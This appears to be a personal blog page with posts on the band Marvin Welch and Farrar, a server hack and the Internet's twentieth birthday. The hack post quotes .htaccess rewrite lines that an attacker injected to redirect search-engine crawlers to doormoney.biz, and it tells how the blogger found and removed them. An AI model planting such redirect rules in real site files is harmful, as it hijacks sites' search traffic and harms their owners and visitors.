Many years ago, before a lot of you were born, there was a group by the name of The Shadows.

They were the backing group for Cliff Richard and also had some considerable success as an electric instrumental group.

In 1970, the group split, and two of its founder members – Hank Marvin and Bruce Welch – decided to form a new group concentrating more on vocal harmony and acoustic instruments.  They were joined by Australian John Farrar, and the group launched themselves as Marvin Welch and Farrar.

In 1971, they produced two LPs, however they sank almost without trace.

Lately I have started digitizing my collection of records, and came across both the above records

One of my favourite tracks -

[audio:faithful.mp3]

Frankly, I am baffled as to why they never caught on.

So much for a quiet Paddy’s Day.

As The Old Fart wrote yesterday, we had a bit of trouble on the server.  He claimed credit for finding the cause, but he really hasn’t a clue.

The symptom of the problem was that the blogs that I host seemed to vanish off Google’s radar.  Any search for example for ‘head rambles’ would only produce old results, while the newer material just failed to appear at all.

I ran the usual tests, and Google reported that the sites were fine and were being spidered on a regular and frequent basis, so what the hell was going on?

I checked the logs for a couple of the blogs and found some very unusual activity.  There was indeed a phenomenal number of visits to the sites from Google, but they were successfully finding files and directories that didn’t exist!

How do you successfully find something that doesn’t exist?  For a while I was baffled.

I think it was more intuition and luck than logic, but I checked the .htaccess files and there it was in all its glory – a hack.

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://doormoney.biz/ [R=301,L]

Somehow [and I still don’t know quite how] they managed to modify each .htaccess file and add those lines. 

The upshot was that Google was visiting what it thought was my sites, but in fact was that other site, which as far as I can make out is a warez site.

Needless to say, I removed the lines and locked down the files, and immediately Google started getting a 404 [not found] instead of a 200 [successful] so that solved that.

Since then, one of my Elite Bloggers posted an article, and it appeared within fifteen minutes in Google

I did a wee search around the Internet to see if this was a common hack and it is not unknown.  I found a couple of interesting articles on it here and here.

So someone else had a wasted Paddy’s Day too?

I am not alone.

The Internet has just celebrated its twentieth birthday.

A mere two decades on, it has been embraced by the world and has become as essential to society as the telephone or the printing press.

My own intoduction to the Internet came about somewhere in the early nineties.

In those days, web pages were static and graphics tended to be used for illustration rather than decoration.  Multimedia was virtually unheard of, as speeds tended to be low.  My corporate connection to the Internet backbone was a dedicated 256K line which served 2,000 staff.

My home connection for many years was a 56K dialup which served me very well.  Then broadband arrived and my connection jumped to a (relatively) massive 3M.

My connection is still 3M and is remarkably constant. I have few contention issues and am pretty much guaranteed maximum speeds at all times.

I have noticed lately though, that I am experiencing more of the problems I used to be familiar with in my dialup days.  I get page load errors, sites that are very slow to load and general timeout errors.

Has the Internet reached capacity?  Has YouTube, media streaming and the sheer volume of information saturated the bandwidth?

Is it just me, or has anyone else experienced this?